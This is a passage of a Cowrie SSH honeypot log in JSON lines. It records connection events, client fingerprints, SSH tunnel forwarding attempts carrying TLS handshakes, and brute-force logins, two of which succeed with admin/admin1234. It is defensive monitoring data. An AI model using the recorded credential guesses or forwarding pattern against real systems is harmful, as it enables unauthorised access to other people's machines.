7de75ceed","timestamp":"2026-06-19T21:26:02.623527Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23556,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf010f9956c5","protocol":"ssh","message":"New connection: 91.92.40.36:23556 (159.203.135.109:22) [session: cf010f9956c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.653123Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.677402Z","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.946666Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xd5$\\x08X;\\xbf\\x19Z\\xd5\\x10\\x11F\\x03\\xc6\\xcf\\x9b\\x84\\xb9\\xcf\\x0c\\xed{\\x15J\\xaa\\x92`v\\x1a\\x9e\\xc5 oF_\\x16\\xef\\xaavl\\xe6ZQ\\x8c\\xa9\\xd3\\x1c\\xa6\\xa4\\xb4\\xe3j\\xccI5\\xfc3\\xeb\\x000\\x88\\x1c\\x9cI\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Bl\\x9f\\x1a[u\\x13\\xa5\\x0c\\xdf\\xc6Y\\xf7\\x93\\xd5\\x18V\\xf9\\xb8\\x89\\x9d\\x82\\x1f\\x95I\\xe8s\\xd4\\xbf~T\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\t\\xd5$\\x08X;\\xbf\\x19Z\\xd5\\x10\\x11F\\x03\\xc6\\xcf\\x9b\\x84\\xb9\\xcf\\x0c\\xed{\\x15J\\xaa\\x92`v\\x1a\\x9e\\xc5 oF_\\x16\\xef\\xaavl\\xe6ZQ\\x8c\\xa9\\xd3\\x1c\\xa6\\xa4\\xb4\\xe3j\\xccI5\\xfc3\\xeb\\x000\\x88\\x1c\\x9cI\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 Bl\\x9f\\x1a[u\\x13\\xa5\\x0c\\xdf\\xc6Y\\xf7\\x93\\xd5\\x18V\\xf9\\xb8\\x89\\x9d\\x82\\x1f\\x95I\\xe8s\\xd4\\xbf~T\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.950463Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.974965Z","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.003434Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xf0>\\xf7cg\\x0c\\xb2\\xce\\xcejx_\\x987\\x96\\xf2%\\xcb\\xa3\\x02O\\xa4\\xf3\\xff\\x02\\x18\\xc3/9ZI \\xe7\\x8d\\xf0\\x07U\\xb3\\x0ck\\x0e\\xf0r\\xdf\\xfb\\xe8\\xad\\xdd\\xd0\\xa6\\x1c\\xbd,\\xa2\\xb3\\xf0\\xff\\x88ev\\x05s\\xfb#\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01\\x0c\\x06\\xb3\\xed\\xee+\\x8fb\\x8b\\xa5\\xab\\xff\\xfa\\xe0\\x99\\x8d^R\\xf2mV\\xf7\\x13\\x960\\x06^p\\xe2\\xf6i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xce\\xf0>\\xf7cg\\x0c\\xb2\\xce\\xcejx_\\x987\\x96\\xf2%\\xcb\\xa3\\x02O\\xa4\\xf3\\xff\\x02\\x18\\xc3/9ZI \\xe7\\x8d\\xf0\\x07U\\xb3\\x0ck\\x0e\\xf0r\\xdf\\xfb\\xe8\\xad\\xdd\\xd0\\xa6\\x1c\\xbd,\\xa2\\xb3\\xf0\\xff\\x88ev\\x05s\\xfb#\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x01\\x0c\\x06\\xb3\\xed\\xee+\\x8fb\\x8b\\xa5\\xab\\xff\\xfa\\xe0\\x99\\x8d^R\\xf2mV\\xf7\\x13\\x960\\x06^p\\xe2\\xf6i\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.007977Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":59170,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab085ca02e00","protocol":"ssh","message":"New connection: 113.164.152.20:59170 (10.17.0.5:22) [session: ab085ca02e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.350230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.355173Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.389014Z","src_ip":"91.92.40.36","session":"cf010f9956c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.394737Z","src_ip":"91.92.40.36","session":"cf010f9956c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:03.659689Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49360,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1584c8203e","protocol":"ssh","message":"New connection: 123.27.168.40:49360 (10.17.0.5:22) [session: ba1584c8203e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:04.742023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:04.753164Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:05.097937Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:05.785186Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:05.812315Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.343396Z","session":"ab085ca02e00","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.351112Z","src_ip":"123.27.168.40","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.810272Z","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWERTY","message":"login attempt [ubuntu/QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.879401Z","src_ip":"91.92.40.36","session":"cf010f9956c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.921232Z","session":"ba1584c8203e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:06.986276Z","src_ip":"113.164.152.20","session":"ab085ca02e00","protocol":"ssh"}
